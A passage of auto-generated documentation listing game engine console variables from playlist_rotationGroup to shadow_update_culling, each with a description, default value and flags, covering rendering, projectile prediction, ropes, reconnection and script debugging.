+playlist_rotationGroup + +Current rotation group among playlists + +default: `""` +flags: `0x2002` +
+
+playlist_rotationInterval + +How often to rotate playlist groups in minutes + +default: `"5"` +flags: `0x2` +
+
+playlist_rotationIntervalDefault + +Default value of how often to rotate playlist groups in minutes + +default: `"150"` +flags: `0x2` +
+
+playlist_rotationIntervalOverride + +Override value (if > 0) of how often to rotate playlist groups in minutes + +default: `"0"` +flags: `0x2` +
+
+playlist_rotationNextTime + +Next rotation time for playlist group + +default: `"0"` +flags: `0x2002` +
+
+playlist_variableErrorsChecks + + + +default: `"1"` +flags: `0x2002` +
+
+portal_pointpush_debug + +Debug the portal_pointpush. + +default: `"0"` +flags: `0x6000` +
+
+portal_pointpush_think_rate + +The amount of time between thinks for the portal_pointpush. + +default: `"0.05f"` +flags: `0x6000` +
+
+portal_use_player_avoidance + + + +default: `"0"` +flags: `0x2002` +
+
+postdataupdate_threaded + + + +default: `"1"` +flags: `0x2` +
+
+postdataupdate_threaded_chunksize + + + +default: `"2"` +flags: `0x2` +
+
+printConnectTimings + + + +default: `"0"` +flags: `0x2` +
+
+print_timeprefix + + + +default: `"1"` +flags: `0x2` +
+
+process_pending_vm_effects + + + +default: `"1"` +flags: `0x2` +
+
+progressbar_allow_wrap + +Allow loading bar to wrap. + +default: `"1"` +flags: `0x2` +
+
+progressbar_high_precision + +Use a higher precision bar. + +default: `"0"` +flags: `0x2` +
+
+progressbar_single_bar + +Use a single bar. + +default: `"1"` +flags: `0x2` +
+
+projectile_fake_prediction_in_kill_replay + +Calls weapon primary-attack callbacks on client during replay to create predicted projectiles + +default: `"1"` +flags: `0x2002` +
+
+projectile_faketrails + +Enables fake projectile trails when the projectile impacts on the server before lag compensation is complete + +default: `"1"` +flags: `0x2` +
+
+projectile_filltrails + +Fill the gap between the gun barrel and the first seen projectile position for trail Fx (1: 1st person only, 2: 3rd person only, 3: 1st and 3rd persons) + +default: `"3"` +flags: `0x2` +
+
+projectile_lagCompensationDebug + +Draws lag compensation on projectiles + +default: `"0"` +flags: `0x2002` +
+
+projectile_lagCompensationDebugDrawNoReg + +Debug draw when noreg is detected. + +default: `"1"` +flags: `0x2002` +
+
+projectile_lagCompensationDebugDrawTime + +Amount of time debug drawing persists with projectile_lagCompensationDebug enabled. + +default: `"3.0"` +flags: `0x2002` +
+
+projectile_lagCompensationDebugExtra + +Draws the "real" arc the projectile would take, as well as an extra simple simulation to compare with the actual path + +default: `"0"` +flags: `0x2002` +
+
+projectile_lagCompensationDebugForceNoReg + +Force no reg on all shots. + +default: `"0"` +flags: `0x2002` +
+
+projectile_lagCompensationDebugServerOffset + +Offset the server debug lines by this many units vertically + +default: `"0"` +flags: `0x2002` +
+
+projectile_lagCompensationMissileTimeStepScalar + +Scales the time step used for seeking missiles in lag compensation + +default: `"1.0"` +flags: `0x2002` +
+
+projectile_muzzleOffsetFirstPersonDecayDist + +Distance over which projectiles fake their origin to come out of the gun muzzle + +default: `"1000"` +flags: `0x2` +
+
+projectile_muzzleOffsetFirstPersonDecayMaxTime + +Max time over which projectiles fake their origin to come out of the gun muzzle + +default: `"0.3"` +flags: `0x2` +
+
+projectile_muzzleOffsetThirdPersonDecayDist + +Distance over which projectiles fake their origin to come out of the gun muzzle + +default: `"1000"` +flags: `0x2` +
+
+projectile_muzzleOffsetThirdPersonDecayMaxTime + +Max time over which projectiles fake their origin to come out of the gun muzzle + +default: `"0.1"` +flags: `0x2` +
+
+projectile_prediction + +Performs client-side prediction and lag compensation on projectiles + +default: `"1"` +flags: `0x2002` +
+
+projectile_predictionErrorCorrectTime + +Time over which prediction errors are corrected for projectiles + +default: `"0.3"` +flags: `0x2` +
+
+prop_lightweightPropsSkipAnimData + + + +default: `"0"` +flags: `0x2` +
+
+prop_survivalSkipsAnimData + + + +default: `"1"` +flags: `0x2` +
+
+props_break_burst_rotation + +Rate of rotation in degrees per second. + +default: `"100"` +flags: `0x2002` +
+
+props_break_max_pieces + +Maximum prop breakable piece count (-1 = model default) + +default: `"-1"` +flags: `0x2002` +
+
+props_break_max_pieces_perframe + +Maximum prop breakable piece count per frame (-1 = model default) + +default: `"20"` +flags: `0x2002` +
+
+publication_hostname + + + +default: `""` +flags: `0x2` +
+
+push_cl + +1: Moving geo pushes client entities, 0: Client entities do not get pushed + +default: `"1"` +flags: `0x2` +
+
+push_cl_always_update_prev_matrix + + + +default: `"0"` +flags: `0x2` +
+
+push_debug + +Debug all pushing entities + +default: `"0"` +flags: `0x2002` +
+
+push_debug_ent + +Debug pushing entity + +default: `"-1"` +flags: `0x2002` +
+
+push_ragdolls + +Toggles whether to push ragdoll entities + +default: `"1"` +flags: `0x2002` +
+
+pve_debug + + + +default: `""` +flags: `0x2002` +
+
+pvs_addWorkItemsAccum + +Accumulate this many work items from the main PVS job before adding them to the worker thread array, which can be slow + +default: `"100"` +flags: `0x2` +
+
+pvs_addWorkItemsThreshold_edges + +load balancing threshold; if a node has more than this many leaves, it will spread the work across threads + +default: `"50"` +flags: `0x2` +
+
+pvs_addWorkItemsThreshold_leaves + +load balancing threshold; if a node has more than this many leaves, it will spread the work across threads + +default: `"5000"` +flags: `0x2` +
+
+pvs_cullBoxes + + + +default: `"1"` +flags: `0x2` +
+
+pvs_debug + + + +default: `"0"` +flags: `0x2` +
+
+pvs_frustumCullOnly + +0 - Off, 1 - On by Script, 2 - forced On + +default: `"0"` +flags: `0x2` +
+
+pvs_start_early + +0 not early, 1 after view setup, 2 after threaded bone setup + +default: `"2"` +flags: `0x2` +
+
+r_AirboatViewDampenDamp + + + +default: `"1.0"` +flags: `0x6000` +
+
+r_AirboatViewDampenFreq + + + +default: `"7.0"` +flags: `0x6000` +
+
+r_AirboatViewZHeight + + + +default: `"0.0"` +flags: `0x6000` +
+
+r_JeepViewDampenDamp + + + +default: `"1.0"` +flags: `0x6000` +
+
+r_JeepViewDampenFreq + + + +default: `"7.0"` +flags: `0x6000` +
+
+r_VehicleViewDampen + + + +default: `"1"` +flags: `0x6000` +
+
+r_WaterDrawReflection + +Enable water reflection + +default: `"1"` +flags: `0x2` +
+
+r_WaterDrawRefraction + +Enable water refraction + +default: `"1"` +flags: `0x2` +
+
+r_aspectratio + + + +default: `"0"` +flags: `0x2` +
+
+r_blurmenubg + +Blurs background when menus are open + +default: `"1"` +flags: `0x2` +
+
+r_bone_matrix_bulk_update_threshold + + + +default: `"64"` +flags: `0x2` +
+
+r_brush_queue_mode + + + +default: `"0"` +flags: `0x4000` +
+
+r_createmodeldecals + + + +default: `"1"` +flags: `0x40000000` +
+
+r_cullshadowworldmeshes + + + +default: `"1"` +flags: `0x2` +
+
+r_debug_draw_box_depth_test + +Toggle depth test for debug draw box functionality + +default: `"1"` +flags: `0x2` +
+
+r_decal_cover_count + + + +default: `"4"` +flags: `0x2` +
+
+r_decal_cull_stretch_limit + +Reciprocal of per-tri limit on decal stretching (0 is most permissive, 1 is most restrictive.) + +default: `"0.707"` +flags: `0x4000` +
+
+r_decal_draw_basis + + + +default: `"0"` +flags: `0x2` +
+
+r_decal_drawclipped + +A bit-field! 1:Draw decal debug triangle overlays of *all* potential hits, 2:Draw actual hits, 4:Draw clipped hits + +default: `"0"` +flags: `0x4000` +
+
+r_decal_overlap_area + + + +default: `"1.0"` +flags: `0x2` +
+
+r_decal_overlap_count + + + +default: `"3"` +flags: `0x2` +
+
+r_decal_test_scale + + + +default: `"1.0"` +flags: `0x2` +
+
+r_decals + + + +default: `"256"` +flags: `0x40000000` +min value: `0` +max value: `256` +
+
+r_delay_texture_destroy + +immediate call on Destroy() may cause GPU hang as it can still be used by GPU. this will make it delayed by one frame. + +default: `"1"` +flags: `0x2` +
+
+r_ditherFade + + + +default: `"1"` +flags: `0x4000` +
+
+r_ditherFade + + + +default: `"1"` +flags: `0x4000` +
+
+r_ditherFadeShadows + + + +default: `"1"` +flags: `0x4000` +
+
+r_drawallrenderables + +Draw all renderables, even ones inside solid leaves. + +default: `"0"` +flags: `0x4000` +
+
+r_drawalphasort + + + +default: `"1"` +flags: `0x4000` +
+
+r_drawbrushmodels + +Render brush models. 0=Off, 1=Normal, 2=Wireframe + +default: `"1"` +flags: `0x4000` +
+
+r_drawbrushmodels + +Render brush models. 0=Off, 1=Normal, 2=Wireframe + +default: `"1"` +flags: `0x4000` +
+
+r_drawdecals + +Render decals. + +default: `"1"` +flags: `0x4000` +
+
+r_drawdepth_of_blend2transparent + + + +default: `"1"` +flags: `0x2` +
+
+r_drawdlights + +whether to debug draw dlights + +default: `"0"` +flags: `0x4000` +
+
+r_drawentities + +0: dont' draw; 1: draw normal; 2: draw bones; 3: draw hulls + +default: `"1"` +flags: `0x4000` +
+
+r_drawlightdist + +If r_drawstaticlight is -1, only include draw lights within this radius + +default: `"4000"` +flags: `0x4000` +
+
+r_drawlightinfo + + + +default: `"0"` +flags: `0x4000` +
+
+r_drawmodelsinzfill + +Draw models in the zfill pass where they will affect light tile culling + +default: `"1"` +flags: `0x4000` +
+
+r_drawopaquerenderables + + + +default: `"1"` +flags: `0x4000` +
+
+r_drawparticles + +Enable/disable particle rendering + +default: `"1"` +flags: `0x4000` +
+
+r_drawrenderboxes + + + +default: `"0"` +flags: `0x4000` +
+
+r_drawscreenspaceparticles + + + +default: `"1"` +flags: `0x2` +
+
+r_drawsky + +Enable the rendering of sky + +default: `"1"` +flags: `0x4000` +
+
+r_drawskybox_deprecated + +Enable the rendering of sky boxes + +default: `"1"` +flags: `0x4000` +
+
+r_drawstaticlight + +0 = none, -1 = all within r_drawlightdist, other draws that light index + +default: `"0"` +flags: `0x4000` +
+
+r_drawstaticprops + +Toggle drawing of static props + +default: `"1"` +flags: `0x4000` +
+
+r_drawtracers + + + +default: `"1"` +flags: `0x4000` +
+
+r_drawvgui + +Enable the rendering of vgui panels + +default: `"1"` +flags: `0x4000` +
+
+r_drawviewmodel + + + +default: `"1"` +flags: `0x4000` +
+
+r_drawworld + +Render the world (0 = none, 1 = opaque only, 2 = trans only, 3 = both). + +default: `"3"` +flags: `0x40004000` +
+
+r_dynamic + + + +default: `"1"` +flags: `0x80000` +
+
+r_earlyRenderables + + + +default: `"1"` +flags: `0x2` +
+
+r_enableOriginSort + + + +default: `"1"` +flags: `0x4000` +
+
+r_fadeincode + + + +default: `"0"` +flags: `0x2` +
+
+r_farz + +Override the far clipping plane. -1 means to use the value in env_fog_controller. + +default: `"-1"` +flags: `0x4000` +
+
+r_fastzreject + +Activate/deactivates a fast z-setting algorithm to take advantage of hardware with fast z reject. Use -1 to default to hardware settings + +default: `"0"` +flags: `0x2` +
+
+r_forcecheapwater + +Force all water to be cheap water, will show old renders if enabled after water has been seen + +default: `"0"` +flags: `0x4008` +
+
+r_jiggle_bones + + + +default: `"1"` +flags: `0x2` +
+
+r_lightmap + + + +default: `"-1"` +flags: `0x804000` +
+
+r_lightprobe_force_trans_dist + +if an entity moves this distance or greater in one frame it is automatically transitioned to a new probe + +default: `"2000"` +flags: `0x2` +
+
+r_lightstyle + + + +default: `"-1"` +flags: `0x804000` +
+
+r_lod + + + +default: `"-1"` +flags: `0x2` +
+
+r_lod + + + +default: `"-1"` +flags: `0x2` +min value: `-1` +
+
+r_lod + + + +default: `"-1"` +flags: `0x2` +
+
+r_lod_shift + +Shifts the quality of LODs towards higher LOD levels + +default: `"0"` +flags: `0x2` +min value: `0` +
+
+r_lod_shift + +Shifts the quality of LODs towards higher LOD levels + +default: `"0"` +flags: `0x2` +min value: `0` +
+
+r_lod_switch_scale + + + +default: `"1"` +flags: `0x40000000` +
+
+r_mapextents + +Set the max dimension for the map. This determines the far clipping plane + +default: `"16384"` +flags: `0x4000` +
+
+r_modeldecal_maxtotal + + + +default: `"75"` +flags: `0x2` +
+
+r_nearz + +Near clipping plane distance + +default: `"7"` +flags: `0x2` +
+
+r_no_stalls + + + +default: `"0"` +flags: `0x2` +
+
+r_no_stalls + + + +default: `"0"` +flags: `0x2` +
+
+r_no_stalls + + + +default: `"0"` +flags: `0x2` +
+
+r_norefresh + + + +default: `"0"` +flags: `0x2` +
+
+r_particle_lighting_debug + +Toggle Particle Lighting Debug Texture + +default: `"0"` +flags: `0x2` +
+
+r_particle_lighting_enable + +Toggle Particle Lighting + +default: `"1"` +flags: `0x2` +
+
+r_particle_lighting_enable + +Toggle Particle Lighting + +default: `"1"` +flags: `0x2` +
+
+r_particle_lighting_force + +Force all particles to be lit + +default: `"0"` +flags: `0x2` +
+
+r_particle_lighting_force + +Force all particles to be lit + +default: `"0"` +flags: `0x2` +
+
+r_particle_low_res_debug + +Toggle Low Res Paricle Debug Texture + +default: `"0"` +flags: `0x2` +
+
+r_particle_low_res_draw_weight_tex + + + +default: `"0"` +flags: `0x2` +
+
+r_particle_low_res_enable + + + +default: `"1"` +flags: `0x2` +
+
+r_particle_low_res_force + + + +default: `"0"` +flags: `0x2` +
+
+r_particle_low_res_tiled_composite + + + +default: `"1"` +flags: `0x2` +
+
+r_particle_sim_spike_increment_ms + + + +default: `"0.25"` +flags: `0x2` +
+
+r_particle_sim_spike_threshold_ms + + + +default: `"0"` +flags: `0x2` +
+
+r_particle_timescale + + + +default: `"1.0"` +flags: `0x2` +
+
+r_particles_early_distance_cull + + + +default: `"1"` +flags: `0x2` +
+
+r_pos_debug + + + +default: `""` +flags: `0x2` +
+
+r_render_pos_debug + + + +default: `""` +flags: `0x2` +
+
+r_rimlight + + + +default: `"0"` +flags: `0x2` +
+
+r_rootlod + +Root LOD + +default: `"0"` +flags: `0x4800002` +min value: `0` +max value: `2` +
+
+r_rootlod + +Root LOD + +default: `"0"` +flags: `0x4800002` +
+
+r_ropetranslucent + + + +default: `"1"` +flags: `0x2` +
+
+r_setupBoneWorkSize + +work size for SetupBone_Worker + +default: `"10"` +flags: `0x2` +
+
+r_setupBoneWorkerThreadhold + +minimum ModelListByType_t::m_nSetupBoneCount value to be threaded for SetupBoneForModelList() call + +default: `"1"` +flags: `0x2` +
+
+r_shadowrendertotexture + + + +default: `"0"` +flags: `0x2` +
+
+r_sky_ignoreAngles + +Ignore the angle of the sky (for debugging) + +default: `"0"` +flags: `0x4000` +
+
+r_sort_trans_debug + + + +default: `"0"` +flags: `0x2` +
+
+r_sort_trans_debug_dist + + + +default: `"2000"` +flags: `0x2` +
+
+r_threaded_particles + + + +default: `"1"` +flags: `0x2` +
+
+r_updaterefracttexture + +When disabled, supresses any update of refract texture. + +default: `"1"` +flags: `0x4000` +
+
+r_updaterefracttexture_allowmultiple + +Allows multiple updates of refract texture per frame. + +default: `"0"` +flags: `0x2` +
+
+r_visambient + +Draw leaf ambient lighting samples. Mask of VIS_AMBIENT = 1, VIS_SKY = 2, VIS_SUN = 4, VIS_CLOUDMASK = 8, VIS_LIGHTS_1ST = 16, etc. + +default: `"0"` +flags: `0x2` +
+
+r_visambient_orig + +Show original lighting probes instead of the improved ones the game actually uses + +default: `"0"` +flags: `0x2` +
+
+r_visambient_point + +Draw leaf ambient lighting samples, for a point (like particles). + +default: `"0"` +flags: `0x2` +
+
+r_vismodellighting_lightpos + +Draw a line from the point light to the model lighting origin for this many of the closest lights that have r_vismodellighting enabled. + +default: `"0"` +flags: `0x4000` +
+
+r_vismodellighting_maxdist + + + +default: `"1000.0"` +flags: `0x4000` +
+
+r_vismodellighting_mindist + + + +default: `"48.0"` +flags: `0x4000` +
+
+r_vismodellighting_offset_x + +Offset the model lighting spheres by this amount. + +default: `"0"` +flags: `0x4000` +
+
+r_vismodellighting_offset_y + +Offset the model lighting spheres by this amount. + +default: `"0"` +flags: `0x4000` +
+
+r_vismodellighting_offset_z + +Offset the model lighting spheres by this amount. + +default: `"0"` +flags: `0x4000` +
+
+r_visualizeproplightcaching + + + +default: `"0"` +flags: `0x2` +
+
+r_visualizetraces + + + +default: `"0"` +flags: `0x4000` +
+
+r_visualizetraces_duration + + + +default: `"0.5"` +flags: `0x2` +
+
+r_volumetric_lighting_blur_count + + + +default: `"2"` +flags: `0x2` +
+
+r_volumetric_lighting_blur_type + + + +default: `"1"` +flags: `0x2` +
+
+r_volumetric_lighting_enabled + +Toggle Volumetric Light + +default: `"2"` +flags: `0x2` +
+
+r_volumetric_lighting_numSteps + + + +default: `"10"` +flags: `0x2` +
+
+r_volumetric_lighting_rotate_dither + + + +default: `"0"` +flags: `0x2` +
+
+r_waterforceexpensive + + + +default: `"0"` +flags: `0x2` +
+
+r_waterforcereflectentities + + + +default: `"0"` +flags: `0x2` +
+
+r_zfill + + + +default: `"1"` +flags: `0x2` +
+
+ragdoll_debug + + + +default: `"0"` +flags: `0x2002` +
+
+ragdoll_sleepaftertime + +After this many seconds of being basically stationary, the ragdoll will go to sleep. + +default: `"5"` +flags: `0x2` +
+
+rankedplay_display_enabled + + + +default: `"0"` +flags: `0x1000000` +
+
+rankedplay_voice_enabled + + + +default: `"0"` +flags: `0x1000000` +
+
+rate + +Max bytes/sec the host can receive data + +default: `"128000"` +flags: `0x2` +
+
+reactive_wakeOnStop + + + +default: `"1"` +flags: `0x2` +
+
+real_time_update_dt + + + +default: `"0.001"` +flags: `0x2` +
+
+recalculateOrigin_threaded_chunksize + + + +default: `"50"` +flags: `0x2` +
+
+reconnect_available_timespan + +Amount of seconds for which reconnect is available since last save. + +default: `"2400"` +flags: `0x2` +
+
+reconnect_check_platform_id + +Check platform id from local file. Useful when testing with multiple local win64 clients. + +default: `"1"` +flags: `0x2` +
+
+reconnect_debug + +Never disconnect a player having lost connection. + +default: `"0"` +flags: `0x2` +
+
+reconnect_delay + +Amount of seconds for which reconnect is waiting before connecting. + +default: `"5"` +flags: `0x2` +
+
+reconnect_enabled + +Whether disconnecting keeps the player around to allow reconnecting + +default: `"1"` +flags: `0x2` +
+
+reconnect_timeout + +Seconds after a disconnected client is completely removed from the server, stopping it from reconnecting + +default: `"300"` +flags: `0x2` +
+
+remoteCalls_requireConnectionScriptsForViewPlayer + + + +default: `"0"` +flags: `0x2` +
+
+remoteMatchInfo_print + + + +default: `"0"` +flags: `0x2` +
+
+replay_enable + +Enable Replay recording on server + +default: `"1"` +flags: `0x402002` +
+
+replay_prediction_smooth + + + +default: `"1"` +flags: `0x2` +
+
+report_cliententitysim + +List all clientside simulations and time - will report and turn itself off. + +default: `"0"` +flags: `0x4000` +
+
+report_clientthinklist + +List all clientside entities thinking and time - will report and turn itself off. + +default: `"0"` +flags: `0x4000` +
+
+roamingcam_cameraspacemotion + + + +default: `"0"` +flags: `0x2` +
+
+roamingcam_downSpeedMult + + + +default: `"0.5"` +flags: `0x2` +
+
+roamingcam_forwardSpeed + + + +default: `"1500"` +flags: `0x2` +
+
+roamingcam_forwardSpeed_fast + + + +default: `"10000"` +flags: `0x2` +
+
+roamingcam_forwardSpeed_slow + + + +default: `"10"` +flags: `0x2` +
+
+roamingcam_movesmoothing + + + +default: `"0"` +flags: `0x2` +
+
+roamingcam_rollSpeed + + + +default: `"40"` +flags: `0x2` +
+
+roamingcam_sideSpeedMult + + + +default: `"1"` +flags: `0x2` +
+
+roamingcam_smoothtime + + + +default: `"0.15"` +flags: `0x2` +
+
+roamingcam_viewsmoothing + + + +default: `"0"` +flags: `0x2` +
+
+rodeo_camera_smooth_blend_out_time + + + +default: `"0.4"` +flags: `0x2` +
+
+rodeo_camera_smooth_enable + + + +default: `"1"` +flags: `0x2` +
+
+rodeoed_anims_enabled + + + +default: `"0"` +flags: `0x2` +
+
+rope_collide + +Collide rope with the world + +default: `"1"` +flags: `0x2` +
+
+rope_debug_shake + +Helps visualize ropes effected by a shake. + +default: `"0"` +flags: `0x2` +
+
+rope_parallelMeshBuilder + + + +default: `"1"` +flags: `0x2` +
+
+rope_regenMeshEachDraw + + + +default: `"0"` +flags: `0x2` +
+
+rope_shake + + + +default: `"0"` +flags: `0x2` +
+
+rope_texels_per_world_unit + + + +default: `"8"` +flags: `0x2` +
+
+rope_wiggle_harmonic_falloff + +Falloff for oscillation magnitude of wave of increasing frequency (ropes and grapple) + +default: `"0.75"` +flags: `0x2` +
+
+rope_wiggle_magnitude_loose + +Fraction of rope (including grapple) distance used as max wiggle distance while the rope is loose (shooting) + +default: `".04"` +flags: `0x2` +
+
+rope_wiggle_magnitude_tight + +Fraction of rope (including grapple) distance used as max wiggle distance while the rope is tight (pulling or retracting) + +default: `".002"` +flags: `0x2` +
+
+rope_wiggle_oscillate_speed + +Speed at which rope (including grapple) wiggle oscillates + +default: `"64"` +flags: `0x2` +
+
+rope_wiggle_rotate_speed + +Speed at which rope (including grapple) wiggle rotates + +default: `"2"` +flags: `0x2` +
+
+rope_wiggle_zipline_min_points + +Increases point count for ziplines that are wiggling + +default: `"80"` +flags: `0x2` +
+
+rope_wind_dist + +Don't use CPU applying small wind gusts to ropes when they're past this distance. + +default: `"1000"` +flags: `0x2` +
+
+rotate_ents + + + +default: `"0"` +flags: `0x2` +
+
+rspn_motd + + + +default: `""` +flags: `0x2` +
+
+rt_sync_message_pump + +If 1 render thread with process message queue before starting main thread processing. If 2 then main thread will wait for the next frames message queue processing before gathering mouse input. If 3 then the main thread will wait for the current frames message queue processing before gathering mouse input...this may have a problem with the queue message pump sometimes starting before gathering mouse input and sometimes after causing hitches, but it has less latency and lower frame times when compared to the other methods. If 0 then gathering mouse input may happen before, during, or after the last frames mouse messages were process causing horrible hitch mouse response. + +default: `"1"` +flags: `0x2` +
+
+rt_worker + + + +default: `"1"` +flags: `0x2` +
+
+ruiPanel_resArgName + + + +default: `"actualRes"` +flags: `0x2` +
+
+rui_asyncTracks + +Toggles async update of RUI tracks + +default: `"0"` +flags: `0x2` +
+
+rui_defaultDebugFontFace + +Default font face for rui text in debug messages + +default: `"ArameMono"` +flags: `0x2` +
+
+rui_defaultFontFace + +Default font face for rui text + +default: `"DefaultRegularFont"` +flags: `0x2` +
+
+rui_defaultFontHeight + +Default font height for rui text + +default: `"28"` +flags: `0x2` +
+
+rui_overrideVguiTextRendering + +Use rui for rendering all vgui text + +default: `"1"` +flags: `0x2` +
+
+rui_padDist + + + +default: `"0.7"` +flags: `0x2` +
+
+rui_safeAreaFrac + +Fraction of safe area to use + +default: `"0.0"` +flags: `0x2` +max value: `1` +
+
+rui_standardTextHeight + + + +default: `"64.0"` +flags: `0x2` +
+
+save_enable + + + +default: `"0"` +flags: `0x2` +
+
+scheme_manager_font_debug + +0:Off, 1:On + +default: `"0"` +flags: `0x2` +
+
+scr_centertime + + + +default: `"2"` +flags: `0x2` +
+
+screen_indicator_back_range + +Number of degrees behind the player that is considered more behind than to the side + +default: `"60.0"` +flags: `0x2` +
+
+screen_indicator_ellipse_height + + + +default: `"0.75"` +flags: `0x2` +
+
+screen_indicator_ellipse_width + + + +default: `"0.85"` +flags: `0x2` +
+
+screen_indicator_pitch_limit + +The maximum pitch difference that will affect the indicator position + +default: `"75.0"` +flags: `0x2` +
+
+screen_indicator_pitch_scale + + + +default: `"2.0"` +flags: `0x2` +
+
+screenfade_debug + + + +default: `"0"` +flags: `0x2` +
+
+scriptNetVar_categoryAsserts + + + +default: `"1"` +flags: `0x2` +
+
+script_compile_all_levels + +Compiles all level scripts when loading a map. + +default: `"0"` +flags: `0x2` +
+
+script_debugger_connect_client_on_mapspawn + + + +default: `"0"` +flags: `0x2` +
+
+script_debugger_connect_ui_auto + +Only takes effect after uiscript_reset. Use command line argument -script_debugger_connect_ui for startup. + +default: `""` +flags: `0x2` +
+
+script_debugger_host + + + +default: `"localhost"` +flags: `0x2002` +
+
+script_debugger_port_client + + + +default: `"15101"` +flags: `0x2` +
+
+script_debugger_port_server + + + +default: `"15100"` +flags: `0x2` +
+
+script_debugger_port_ui + + + +default: `"15102"` +flags: `0x2` +
+
+script_disallow_newslot_on_globals + +Throws compile errors for global variables assigned with <- + +default: `"0"` +flags: `0x2002` +
+
+script_dump_simple + +If enabled then script dump format will skip null array/table entries and display each non-container value on a single line with the fully scoped key name. + +default: `"1"` +flags: `0x2002` +
+
+script_error_on_midgame_load + + + +default: `"1"` +flags: `0x2002` +
+
+script_infinite_loop_ms + +If script runs for more than this many milliseconds at one time then you will get a script error. + + +default: `"10000"` +flags: `0x2002` +
+
+script_parallel_trace_LOS_multiple + + + +default: `"1"` +flags: `0x2002` +
+
+script_precache_errors + + + +default: `"1"` +flags: `0x6000` +
+
+script_printDeferredCalls + + + +default: `"0"` +flags: `0x2002` +
+
+script_retry_after_compile_errors + +After a compile error, tries compiling again immediately. + +default: `"0"` +flags: `0x2` +
+
+script_seasonNameQueryInterval + + + +default: `"30"` +flags: `0x2` +
+
+script_showErrorDialogs + + + +default: `"1"` +flags: `0x2` +
+
+script_slopTimeBeforeBudgetEnforcement + +How long to wait before we start complaining about slow budgets + +default: `"30"` +flags: `0x2` +
+
+script_window_client_precache + + + +default: `"1"` +flags: `0x2` +
+
+scriptremotefunctions_debug + +Enable debug print around remote functions + +default: `"0"` +flags: `0x4002` +
+
+scriptremotefunctions_resetOnlyUi + +Only UI function can be reset + +default: `"1"` +flags: `0x2` +
+
+scriptremotefunctions_saveFuncName + +Save script function name for easier debugging + +default: `"0"` +flags: `0x2` +
+
+seasonquest_force_missionscleared_count + + + +default: `"-1"` +flags: `0x2002` +
+
+seasonquest_force_treasurepacks_count + + + +default: `"-1"` +flags: `0x2002` +
+
+send_script_errors + + + +default: `"1"` +flags: `0x2` +
+
+sequence_transitioner_enable + + + +default: `"1"` +flags: `0x2002` +
+
+serverFilter + +Only connects to servers with the same value + +default: `""` +flags: `0x80000` +
+
+serverReports_hostname + + + +default: `""` +flags: `0x2` +
+
+server_concommands_allways_network + +When set to 1 , server commands with listen server pass down the network layer. + +default: `"1"` +flags: `0x2` +
+
+server_query_interval + + + +default: `"0.5"` +flags: `0x2` +
+
+sfm_record_hz + + + +default: `"30"` +flags: `0x2` +
+
+shadow_always_update + +Set to 1 to make shadow maps regenerate every frame. + +default: `"0"` +flags: `0x4000` +
+
+shadow_bleedfudge + +Fudge value to decrease shadow map light bleeding + +default: `"0.0"` +flags: `0x4000` +
+
+shadow_capable + + + +default: `"1"` +flags: `0x2` +
+
+shadow_clear_dist + + + +default: `"1.0"` +flags: `0x4000` +
+
+shadow_dbg_cone_depthtest + +for shadow_dbg_cones + +default: `"0"` +flags: `0x4000` +
+
+shadow_dbg_cones + +Visualize shadow cones. Color-coded per shadow status. + +default: `"0"` +flags: `0x4000` +
+
+shadow_dbg_draw + +Visualize shadow atlas texture (1 .. 4, larger numbers for smaller sizes)Tweak - Purple, Dirty - Red, Dynamic - Green, Old Dynamic - Blue + +default: `"0"` +flags: `0x4000` +
+
+shadow_default_filter_size + +Size of the blur filter applied to spot shadows that don't request a different size. Odd integer only. + +default: `"3"` +flags: `0x4000` +
+
+shadow_depth_dimen_min + +Minimum resolution of a spot shadow map in width and height + +default: `"256"` +flags: `0x40000000` +
+
+shadow_depth_upres_factor_max + +Maximum requested upres factor of spot shadows (dimen_min << this) == largest spot shadow dimen + +default: `"2"` +flags: `0x40000000` +
+
+shadow_drawfrustum + + + +default: `"0"` +flags: `0x2` +
+
+shadow_dynamic_blendfactor + +Blend dynamic shadows over time. Low value: long history, 1: no history + +default: `"1"` +flags: `0x2` +
+
+shadow_enable + + + +default: `"1"` +flags: `0x40000000` +
+
+shadow_esm_enable + +(EXPERIMENTAL) Use exponential spot shadow maps instead of variance maps + +default: `"0"` +flags: `0x4000` +
+
+shadow_filter_maxstep + +Max step threshold for shadow map blend + +default: `"0.18"` +flags: `0x4000` +
+
+shadow_info + +Information about currently active depth shadows + +default: `"0"` +flags: `0x2` +
+
+shadow_lobby_mode_allowed + +allow special mode for lobby that does some tricks to improve spotlight shadow quality. 0 - disallowed, 1- allowed, 2 - forced + +default: `"1"` +flags: `0x4000` +
+
+shadow_max_downsizing_spot_updates + +Downsizing shadows are exceptions. We want to update more of them than shadow_max_spot_updates + +default: `"24"` +flags: `0x4000` +
+
+shadow_max_dynamic_lobby + +Maximum number of shadows that should update every frame in Lobby. + +default: `"5"` +flags: `0x40000000` +
+
+shadow_max_old_dynamic + +Maximum number of old shadows that should update every frame. It's a part of shadow_maxdynamic + +default: `"1"` +flags: `0x2` +
+
+shadow_max_spot_updates + +Maximum number of dynamic shadow maps to update on any given frame + +default: `"4"` +flags: `0x4000` +
+
+shadow_maxdynamic + +Maximum number of shadows that should update every frame. + +default: `"4"` +flags: `0x40000000` +
+
+shadow_maxdynamic + +Maximum number of shadows that should update every frame. + +default: `"4"` +flags: `0x40000000` +
+
+shadow_min_count_smallest + +Represents the minimum number of min resolution spot shadows to allocate in the shadow atlas.This will be adjusted upward to a multiple of the max sized spot shadow to find legal sized atlas dimensions. + +default: `"576"` +flags: `0x4000` +
+
+shadow_minvariance + +Minimum variance for shadow maps (controls edge softness) + +default: `"0.00001"` +flags: `0x4000` +
+
+shadow_multisampled + +Enable multisampling for shadows. + +default: `"1"` +flags: `0x4000` +
+
+shadow_noLOD + + + +default: `"1"` +flags: `0x2` +
+
+shadow_show_spot_udpate_infos + + + +default: `"0"` +flags: `0x4000` +
+
+shadow_tools_depth_dimen_min + +Minimum tools mode (lightedit) resolution of a spot shadow map in width and height + +default: `"256"` +flags: `0x4000` +
+
+shadow_tools_depth_upres_factor_max + +Maximum requested tools mode upres factor of spot shadows (dimen_min << this) == largest spot shadow dimen + +default: `"3"` +flags: `0x4000` +
+
+shadow_tools_min_count_smallest + +Represents the minimum number of min resolution spot shadows to allocate in the shadow atlas in tools mode.This will be adjusted upward to a multiple of the max sized spot shadow to find legal sized atlas dimensions. + +default: `"4096"` +flags: `0x4000` +
+
+shadow_tools_mode + +Turn on shadow tools mode rendering (higher atlas size limits, running out of shadows does not spam + +default: `"0"` +flags: `0x4000` +
+
+shadow_update_culling + +Don't update shadows that aren't in the view frustum. + +default: `"1"` +flags: `0x4000` +
+
